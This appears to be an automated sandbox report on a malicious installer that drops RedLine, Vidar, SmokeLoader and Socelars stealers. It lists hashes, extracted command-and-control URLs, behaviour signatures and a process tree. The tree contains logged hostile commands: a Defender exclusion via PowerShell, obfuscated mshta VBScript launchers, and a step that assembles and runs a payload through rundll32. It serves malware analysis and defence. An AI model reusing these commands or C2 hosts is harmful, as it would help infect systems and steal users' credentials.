Overview

overview

10

Static

static

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

08-10-2021 15:07

211008-shl8xsefa9 10

08-10-2021 05:38

211008-gbvqyadce8 10

07-10-2021 18:28

211007-w4jayacge3 10

Analysis

  • max time kernel
    1804s
  • max time network
    1801s
  • platform
    windows7_x64
  • resource
    win7-ja-20210920
  • submitted
    08-10-2021 15:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    5.9MB

  • MD5

    0308d3044eda0db671c58c2a97cb3c10

  • SHA1

    1737ab616a61d35b0bde0aaad949d9894e14be9e

  • SHA256

    b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072

  • SHA512

    29902fe4a53319290d18b65a6baa1d747f1389a84cd7eb1a123d05b418b737336cd54c84b76403bc2cbb1f078c19b4461a89eec8214bfcdcf4831bb1dbda0e3e

Score
10/10
redlinesmokeloadersocelarsvidar916aspackv2backdoordiscoveryevasioninfostealerpersistencespywarestealertrojan

Malware Config

Extracted

Family

vidar

Version

41.2

Botnet

916

C2

https://mas.to/@serg4325

Attributes
  • profile_id

    916

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/
rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Modifies firewall policy service 2 TTPs 5 IoCs
    evasion
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 1 IoCs
  • Registers COM server for autorun 1 TTPs
    persistence
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 1 IoCs
    stealer
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Modifies Installed Components in the registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 58 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 62 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 4 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 22 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSC5312776\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
            PID:1660
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1084
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Thu166f9a8bbe80.exe
            4⤵
            • Loads dropped DLL
            PID:1468
            • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu166f9a8bbe80.exe
              Thu166f9a8bbe80.exe
              5⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:1856
              • C:\Users\Admin\Pictures\Adobe Films\F6Ov3FAHfwyj7yenlzaqdNBa.exe
                "C:\Users\Admin\Pictures\Adobe Films\F6Ov3FAHfwyj7yenlzaqdNBa.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2416
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 1424
                6⤵
                • Program crash
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                PID:3056
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Thu16205451b994.exe /mixone
            4⤵
            • Loads dropped DLL
            PID:1568
            • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16205451b994.exe
              Thu16205451b994.exe /mixone
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:628
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /im "Thu16205451b994.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16205451b994.exe" & exit
                6⤵
                  PID:2688
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /im "Thu16205451b994.exe" /f
                    7⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2336
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Thu161580bf75.exe
              4⤵
              • Loads dropped DLL
              PID:916
              • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu161580bf75.exe
                Thu161580bf75.exe
                5⤵
                • Executes dropped EXE
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1644
                • C:\Users\Admin\AppData\Roaming\3720332.scr
                  "C:\Users\Admin\AppData\Roaming\3720332.scr" /S
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2252
                • C:\Users\Admin\AppData\Roaming\6537941.scr
                  "C:\Users\Admin\AppData\Roaming\6537941.scr" /S
                  6⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:2312
                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:2740
                • C:\Users\Admin\AppData\Roaming\2102080.scr
                  "C:\Users\Admin\AppData\Roaming\2102080.scr" /S
                  6⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2840
                • C:\Users\Admin\AppData\Roaming\7042787.scr
                  "C:\Users\Admin\AppData\Roaming\7042787.scr" /S
                  6⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2624
                • C:\Users\Admin\AppData\Roaming\8525018.scr
                  "C:\Users\Admin\AppData\Roaming\8525018.scr" /S
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2948
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Thu1628aafb3efd7c3d.exe
              4⤵
              • Loads dropped DLL
              PID:948
              • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1628aafb3efd7c3d.exe
                Thu1628aafb3efd7c3d.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1400
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 952
                  6⤵
                  • Loads dropped DLL
                  • Program crash
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2232
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Thu165bd34b1e1d4d81.exe
              4⤵
              • Loads dropped DLL
              PID:1916
              • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu165bd34b1e1d4d81.exe
                Thu165bd34b1e1d4d81.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:1820
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                    PID:2216
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im chrome.exe
                      7⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2696
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16466b26f8b7.exe
                4⤵
                • Loads dropped DLL
                PID:1176
                • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16466b26f8b7.exe
                  Thu16466b26f8b7.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:1628
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16f584bd3686.exe
                4⤵
                • Loads dropped DLL
                PID:664
                • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f584bd3686.exe
                  Thu16f584bd3686.exe
                  5⤵
                  • Executes dropped EXE
                  PID:1208
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16f3de88a335950bb.exe
                4⤵
                • Loads dropped DLL
                PID:1780
                • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f3de88a335950bb.exe
                  Thu16f3de88a335950bb.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1728
                  • C:\Users\Admin\AppData\Local\Temp\is-65035.tmp\Thu16f3de88a335950bb.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-65035.tmp\Thu16f3de88a335950bb.tmp" /SL5="$50134,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f3de88a335950bb.exe"
                    6⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1768
                    • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f3de88a335950bb.exe
                      "C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f3de88a335950bb.exe" /SILENT
                      7⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1604
                      • C:\Users\Admin\AppData\Local\Temp\is-4TDJI.tmp\Thu16f3de88a335950bb.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-4TDJI.tmp\Thu16f3de88a335950bb.tmp" /SL5="$60134,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu16f3de88a335950bb.exe" /SILENT
                        8⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in Program Files directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        PID:856
                        • C:\Users\Admin\AppData\Local\Temp\is-QRM94.tmp\postback.exe
                          "C:\Users\Admin\AppData\Local\Temp\is-QRM94.tmp\postback.exe" ss1
                          9⤵
                          • Executes dropped EXE
                          PID:2328
                        • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                          "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                          9⤵
                          • Executes dropped EXE
                          PID:2352
                          • C:\Program Files\Internet Explorer\iexplore.exe
                            "C:\Program Files\Internet Explorer\iexplore.exe" https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh
                            10⤵
                            • Modifies Internet Explorer settings
                            • Suspicious behavior: GetForegroundWindowSpam
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SetWindowsHookEx
                            PID:2492
                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2492 CREDAT:275457 /prefetch:2
                              11⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of SetWindowsHookEx
                              PID:2764
                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2492 CREDAT:668685 /prefetch:2
                              11⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of SetWindowsHookEx
                              PID:2144
                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2492 CREDAT:406549 /prefetch:2
                              11⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of SetWindowsHookEx
                              PID:524
                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2492 CREDAT:865302 /prefetch:2
                              11⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of SetWindowsHookEx
                              PID:2908
                        • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                          "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                          9⤵
                          • Executes dropped EXE
                          PID:2436
                          • C:\140829a1818fa6f73f98e5c5f3\Setup.exe
                            C:\140829a1818fa6f73f98e5c5f3\\Setup.exe /q /norestart /x86 /x64 /web
                            10⤵
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            • Checks processor information in registry
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2616
                            • C:\140829a1818fa6f73f98e5c5f3\SetupUtility.exe
                              SetupUtility.exe /screboot
                              11⤵
                              • Executes dropped EXE
                              PID:812
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu164ba03be19.exe
                4⤵
                • Loads dropped DLL
                PID:112
                • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu164ba03be19.exe
                  Thu164ba03be19.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  PID:1668
                  • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu164ba03be19.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu164ba03be19.exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2340
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu1653d94a8da.exe
                4⤵
                • Loads dropped DLL
                PID:1320
                • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1653d94a8da.exe
                  Thu1653d94a8da.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:472
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1653d94a8da.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1653d94a8da.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                    6⤵
                    • Modifies Internet Explorer settings
                    PID:1448
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1653d94a8da.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu1653d94a8da.exe" ) do taskkill /F -Im "%~NxU"
                      7⤵
                        PID:2504
                        • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                          09xU.EXE -pPtzyIkqLZoCarb5ew
                          8⤵
                          • Executes dropped EXE
                          PID:2580
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                            9⤵
                              PID:2664
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                10⤵
                                  PID:2536
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                9⤵
                                  PID:2912
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                    10⤵
                                      PID:2536
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                        11⤵
                                          PID:2376
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                          11⤵
                                            PID:2712
                                          • C:\Windows\SysWOW64\control.exe
                                            control .\R6f7sE.I
                                            11⤵
                                              PID:2284
                                              • C:\Windows\SysWOW64\rundll32.exe
                                                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                12⤵
                                                  PID:2892
                                                  • C:\Windows\system32\RunDll32.exe
                                                    C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                    13⤵
                                                      PID:1204
                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                        14⤵
                                                          PID:2372
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /F -Im "Thu1653d94a8da.exe"
                                              8⤵
                                              • Kills process with taskkill
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2628
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Thu167d514d2a7ac5a.exe
                                      4⤵
                                      • Loads dropped DLL
                                      PID:1772
                                      • C:\Users\Admin\AppData\Local\Temp\7zSC5312776\Thu167d514d2a7ac5a.exe
                                        Thu167d514d2a7ac5a.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Modifies system certificate store
                                        PID:960
                              • C:\Users\Admin\AppData\Local\Temp\3321.exe
                                C:\Users\Admin\AppData\Local\Temp\3321.exe
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1136
                              • C:\Windows\system32\msiexec.exe
                                C:\Windows\system32\msiexec.exe /V
                                1⤵
                                • Modifies firewall policy service
                                • Enumerates connected drives
                                • Drops file in System32 directory
                                • Drops file in Program Files directory
                                • Drops file in Windows directory
                                • Modifies Internet Explorer settings
                                • Modifies data under HKEY_USERS
                                • Modifies registry class
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2644
                                • C:\Windows\system32\MsiExec.exe
                                  C:\Windows\system32\MsiExec.exe -Embedding 3305B2FC460EDC818C2E42C2AD47DCBA
                                  2⤵
                                    PID:2028
                                    • C:\Windows\system32\lodctr.exe
                                      "C:\Windows\system32\lodctr.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\netmemorycache.ini"
                                      3⤵
                                        PID:2900
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe
                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe" -iru
                                        3⤵
                                        • Executes dropped EXE
                                        • Drops file in System32 directory
                                        • Drops file in Windows directory
                                        • Modifies registry class
                                        PID:1220
                                        • C:\Windows\system32\wbem\mofcomp.exe
                                          mofcomp C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet.mof
                                          4⤵
                                          • Drops file in System32 directory
                                          PID:2820
                                      • C:\Windows\system32\lodctr.exe
                                        "C:\Windows\system32\lodctr.exe" /m:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelPerformanceCounters.man"
                                        3⤵
                                          PID:2316
                                        • C:\Windows\system32\lodctr.exe
                                          "C:\Windows\system32\lodctr.exe" /m:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.man"
                                          3⤵
                                            PID:2588
                                          • C:\Windows\system32\lodctr.exe
                                            "C:\Windows\system32\lodctr.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\_SMSvcHostPerfCounters.ini"
                                            3⤵
                                              PID:2804
                                            • C:\Windows\system32\lodctr.exe
                                              "C:\Windows\system32\lodctr.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\_TransactionBridgePerfCounters.ini"
                                              3⤵
                                              • Drops file in Windows directory
                                              PID:2164
                                            • C:\Windows\system32\lodctr.exe
                                              "C:\Windows\system32\lodctr.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\PerfCounters.ini"
                                              3⤵
                                                PID:1716
                                              • C:\Windows\system32\lodctr.exe
                                                "C:\Windows\system32\lodctr.exe" C:\Windows\Microsoft.NET\Framework64\v4.0.30319\_Networkingperfcounters.ini
                                                3⤵
                                                • Drops file in Windows directory
                                                PID:2596
                                              • C:\Windows\system32\lodctr.exe
                                                "C:\Windows\system32\lodctr.exe" C:\Windows\Microsoft.NET\Framework64\v4.0.30319\_DataOracleClientPerfCounters_shared12_neutral.ini
                                                3⤵
                                                  PID:1600
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe update /queue
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:2908
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems 1
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Drops file in Windows directory
                                                  PID:2688
                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 130 -InterruptEvent 0 -NGENProcess e8 -Pipe f4 -Comment "NGen Worker Process"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2576
                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent e8 -InterruptEvent 0 -NGENProcess 194 -Pipe 1a0 -Comment "NGen Worker Process"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2968
                                              • C:\Windows\syswow64\MsiExec.exe
                                                C:\Windows\syswow64\MsiExec.exe -Embedding 8927DDDF7403AD32B6CEC7F5206E9FA5
                                                2⤵
                                                  PID:1624
                                                  • C:\Windows\SysWOW64\lodctr.exe
                                                    "C:\Windows\SysWOW64\lodctr.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\netmemorycache.ini"
                                                    3⤵
                                                      PID:2776
                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" -iru
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Drops file in System32 directory
                                                      • Modifies registry class
                                                      PID:2648
                                                      • C:\Windows\SysWOW64\wbem\mofcomp.exe
                                                        mofcomp C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet.mof
                                                        4⤵
                                                        • Drops file in System32 directory
                                                        PID:2872
                                                    • C:\Windows\SysWOW64\lodctr.exe
                                                      "C:\Windows\SysWOW64\lodctr.exe" /m:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelPerformanceCounters.man"
                                                      3⤵
                                                        PID:276
                                                      • C:\Windows\SysWOW64\lodctr.exe
                                                        "C:\Windows\SysWOW64\lodctr.exe" /m:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WorkflowServiceHostPerformanceCounters.man"
                                                        3⤵
                                                          PID:2248
                                                        • C:\Windows\SysWOW64\lodctr.exe
                                                          "C:\Windows\SysWOW64\lodctr.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\_SMSvcHostPerfCounters.ini"
                                                          3⤵
                                                            PID:1280
                                                          • C:\Windows\SysWOW64\lodctr.exe
                                                            "C:\Windows\SysWOW64\lodctr.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\_TransactionBridgePerfCounters.ini"
                                                            3⤵
                                                            • Drops file in Windows directory
                                                            PID:760
                                                          • C:\Windows\SysWOW64\lodctr.exe
                                                            "C:\Windows\SysWOW64\lodctr.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\PerfCounters.ini"
                                                            3⤵
                                                            • Drops file in Windows directory
                                                            PID:2176
                                                          • C:\Windows\SysWOW64\lodctr.exe
                                                            "C:\Windows\SysWOW64\lodctr.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\_Networkingperfcounters.ini
                                                            3⤵
                                                              PID:2688
                                                            • C:\Windows\SysWOW64\lodctr.exe
                                                              "C:\Windows\SysWOW64\lodctr.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\_DataOracleClientPerfCounters_shared12_neutral.ini
                                                              3⤵
                                                                PID:2892
                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe update /queue
                                                                3⤵
                                                                • Executes dropped EXE
                                                                PID:2476
                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe executeQueuedItems 1
                                                                3⤵
                                                                • Executes dropped EXE
                                                                PID:1512
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
